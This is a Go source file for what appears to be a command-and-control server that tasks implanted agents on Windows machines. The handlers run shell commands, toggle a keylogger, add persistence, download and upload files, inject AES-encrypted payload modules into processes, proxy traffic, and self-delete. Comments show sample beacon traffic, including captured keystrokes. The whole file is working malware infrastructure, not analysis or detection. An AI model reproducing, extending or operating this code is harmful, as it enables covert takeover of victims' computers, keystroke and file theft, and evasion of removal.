package main

import (
	"encoding/hex"
	"errors"
	"fmt"
	"log"
	"os"
)

// Examples of messages from agents (for reference):
// KindBear~HEARTBEAT
// KindBear~SYSINFO~Windows 10 Enterprise LTSC 2021 Evaluation (Version 21H2) Build 19044|x64|DESKTOP-5ITPNQS|Tester|0.0.0.0|C:\Users\Tester\Downloads\agent.exe|10136
// KindBear~KEYLOGGER~[Select C:\Users\BvSsh_VirtualUsers\Sigma\agent_3014679776.exe]
// KindBear~FILE
// KindBear~TASKRESULT~123456~ERROR: Unable to get User Principal Name (UPN)

// Example task messages from server:
// TASK~spawn~bin~C:\Windows\system32\notepad.exe~8840~1201774
// TASK~inject~bin~C:\Windows\system32\notepad.exe~1201774

// Change agent's sleep time
func SleepAgent(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "sleep"
	taskArgs := cmdParts[2] // time in seconds

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		debugLog(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	debugLog(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)

	response := fmt.Sprintf("Tasked agent %s to sleep for %s seconds", agentID, taskArgs)
	operatorConn.Write([]byte(response))
}

// Run a CMD or PS command on agent
func RunShell(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // cmd or powershell
	taskArgs := cmdParts[2] // command and args

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		debugLog(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	debugLog(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)

	response := fmt.Sprintf("Running command '%s %s' on agent %s...", taskType, taskArgs, agentID)
	operatorConn.Write([]byte(response))
}

func HandleNavigation(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // cd pwd ls dir
	taskArgs := cmdParts[2]

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		debugLog(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested '%s' for agent: %s", operatorID, taskType, agentID)
	debugLog(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)

	response := fmt.Sprintf("Running command '%s %s' on agent %s...", taskType, taskArgs, agentID)
	operatorConn.Write([]byte(response))
}

func GetProcesses(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "ps"

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		debugLog(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested process list from agent: %s", operatorID, agentID)
	debugLog(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)

	response := fmt.Sprintf("Tasked agent %s to send process list", agentID)
	operatorConn.Write([]byte(response))
}

func ShowDirectory(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] //ls dir pwd

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		debugLog(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested '%s' for agent: %s", operatorID, taskType, agentID)
	debugLog(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)

	response := fmt.Sprintf("Running command '%s' on agent %s...", taskType, agentID)
	operatorConn.Write([]byte(response))
}

// Retrieve system information from a target
func SendSysInfo(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "sysinfo"

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		debugLog(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	debugLog(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)

	response := fmt.Sprintf("Running command %s on agent %s...", taskType, agentID)
	operatorConn.Write([]byte(response))
}

func SendFiles(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "files"

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		log.Print(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	log.Print(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)

	response := fmt.Sprintf("Running command %s on agent %s...", taskType, agentID)
	operatorConn.Write([]byte(response))
}

// Start or stop keylogger on target
func Keylogger(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "keylogger"
	taskArgs := cmdParts[2] // "start" or "stop"

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		log.Print(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	log.Print(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)

	response := fmt.Sprintf("Tasking agent %s to %s keylogger", agentID, taskArgs)
	operatorConn.Write([]byte(response))
}

// Add or remove persistence via local appdata
func Persistence(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "persistence"
	taskArgs := cmdParts[2] // "add" or "remove"

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		log.Print(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	log.Print(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)

	response := fmt.Sprintf("Tasking agent %s to %s persistence via local app data", agentID, taskArgs)
	operatorConn.Write([]byte(response))
}

// Download file or folder
func DownloadFile(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "download"
	taskArgs := cmdParts[2] // file path

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		log.Print(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	log.Print(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)

	response := fmt.Sprintf("Tasking agent %s to download file %s", agentID, taskArgs)
	operatorConn.Write([]byte(response))
}

func UploadFile(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // upload

	// Get local file path
	localFilePath := cmdParts[2]

	// Check if the local file exists before proceeding
	if _, err := os.Stat(localFilePath); os.IsNotExist(err) {
		logMessage := fmt.Sprintf("Local file not found: %s", localFilePath)
		log.Print(logMessage)
		operatorConn, _ := GetOperatorConn(operatorID)
		operatorConn.Write([]byte(logMessage))
		return
	}

	taskArgs := cmdParts[2] + " " + cmdParts[3]

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		log.Print(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested to upload %s to agent: %s", operatorID, taskArgs, agentID)
	log.Print(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)

	response := fmt.Sprintf("Tasking agent %s to receive file %s", agentID, taskArgs)
	operatorConn.Write([]byte(response))
}

// Find a module and send to task handler
func PrepareModule(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]    // beacon id or agent id
	taskType := cmdParts[1]   // runexe, rundll, inject, spawn
	moduleName := cmdParts[2] // loader.bin, print.exe

	var taskArg1 string
	if len(cmdParts) > 3 {
		taskArg1 = cmdParts[3] // exe path or pid or payload size for runexe and rundll
	}

	debugLog("Agent ID: %s", agentID)
	debugLog("Task type: %s", taskType)
	debugLog("Module name: %s", moduleName)
	debugLog("Task arg1: %s", taskArg1)

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		msg := fmt.Sprintf("Agent %s not found", agentID)
		log.Print(msg)
		operatorConn.Write([]byte(msg))
		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s module %s for agent: %s", operatorID, taskType, moduleName, agentID)
	debugLog(logMessage)

	// Initial response
	response := "Trying to run module... Please wait"
	operatorConn.Write([]byte(response))

	// Check if module is on the list
	module, exists := modules[moduleName]
	if !exists {
		response := fmt.Sprintf("Module %s is not on the list", moduleName)
		operatorConn.Write([]byte(response))
		return
	}

	// Find module on disk
	if _, err := os.Stat(module.Path); errors.Is(err, os.ErrNotExist) {
		logMessage = fmt.Sprintf("Error: Module %s not found in %s", module.Name, module.Path)
		debugLog(logMessage)

		response = fmt.Sprintf("Module %s not found in %s", module.Name, module.Path)
		operatorConn.Write([]byte(response))
		return
	}

	// Read module data into memory
	payload, err := os.ReadFile(module.Path)
	if err != nil {
		logMessage = fmt.Sprintf("Error reading module %s: %v", module.Name, err)
		debugLog(logMessage)

		response = fmt.Sprintf("Error reading module %s: %v", module.Path, err)
		operatorConn.Write([]byte(response))
		return
	}
	debugLog("Successfully loaded module data for %s", module.Name)

	// Print plaintext
	fmt.Println("Plain text payload:")
	fmt.Println(hex.Dump(payload))

	key, _, _ := GenerateKeyAndIV()
	// Encrypt before sending

	var iv = []byte("sWDv47xwoMkg5gJY")

	var encPayload []byte
	if encPayload, err = encryptAES128CTR(payload, []byte(key), iv); err != nil {
		debugLog("Error ecnrypting: %v", err)
		return
	}
	// Print ciphertest
	fmt.Println("Encrypted payload:")
	fmt.Println(hex.Dump(encPayload))

	// Prepare arguments
	taskArgs := key + "~" + taskArg1

	// Add ppid arguments if any
	if len(cmdParts) > 4 {
		taskArg2 := cmdParts[4]
		taskArgs += "~" + taskArg2
		debugLog("Task arg2: %s", taskArg2)
	}
	// Add task to queue
	taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, encPayload)

	response = fmt.Sprintf("Module '%s' sent to task handler successfully", module.Path)
	operatorConn.Write([]byte(response))
}

// Task agent to exit
func Proxy(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "proxy"
	taskArgs := cmdParts[2] // "start|stop"

	if taskArgs == "start" {
		operatorConn, _ := GetOperatorConn(operatorID)

		if _, agentExists := agents.Load(agentID); !agentExists {
			logMessage := fmt.Sprintf("Agent %s not found", agentID)
			log.Print(logMessage)

			response := fmt.Sprintf("Agent %s not found", agentID)
			operatorConn.Write([]byte(response))

			return
		}

		logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType+" "+taskArgs, agentID)
		log.Print(logMessage)

		taskHandler.QueueTask(agentID, operatorID, taskType, taskArgs, nil)

		response := fmt.Sprintf("Tasked agent to %s on %s", taskType+" "+taskArgs, agentID)
		operatorConn.Write([]byte(response))

		debugLog("Starting local bridge server")

		go StartRelayServer()
	} else {

	}
}

// Task agent to exit
func Kill(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "kill"

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		log.Print(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	log.Print(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)

	response := fmt.Sprintf("Tasking agent %s to exit", agentID)
	operatorConn.Write([]byte(response))
}

// Clean up and self delete
func Cleanup(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	taskType := cmdParts[1] // "cleanup"

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, agentExists := agents.Load(agentID); !agentExists {
		logMessage := fmt.Sprintf("Agent %s not found", agentID)
		log.Print(logMessage)

		response := fmt.Sprintf("Agent %s not found", agentID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for agent: %s", operatorID, taskType, agentID)
	log.Print(logMessage)

	taskHandler.QueueTask(agentID, operatorID, taskType, "", nil)

	response := fmt.Sprintf("Tasking agent %s to clean up and self delete", agentID)
	operatorConn.Write([]byte(response))
}

// Get list of artifacts from beacon
func GetArtifacts(operatorID string, cmdParts []string) {
	beaconID := cmdParts[0]
	taskType := cmdParts[1] // "artifacts"

	operatorConn, _ := GetOperatorConn(operatorID)

	if _, beaconExists := agents.Load(beaconID); !beaconExists {
		logMessage := fmt.Sprintf("Beacon %s not found", beaconID)
		log.Print(logMessage)

		response := fmt.Sprintf("Beacon %s not found", beaconID)
		operatorConn.Write([]byte(response))

		return
	}

	logMessage := fmt.Sprintf("Operator %s requested %s for beacon: %s", operatorID, taskType, beaconID)
	log.Print(logMessage)

	taskHandler.QueueTask(beaconID, operatorID, taskType, "", nil)

	response := fmt.Sprintf("Tasking beacon %s to send the list of artifacts", beaconID)
	operatorConn.Write([]byte(response))
}
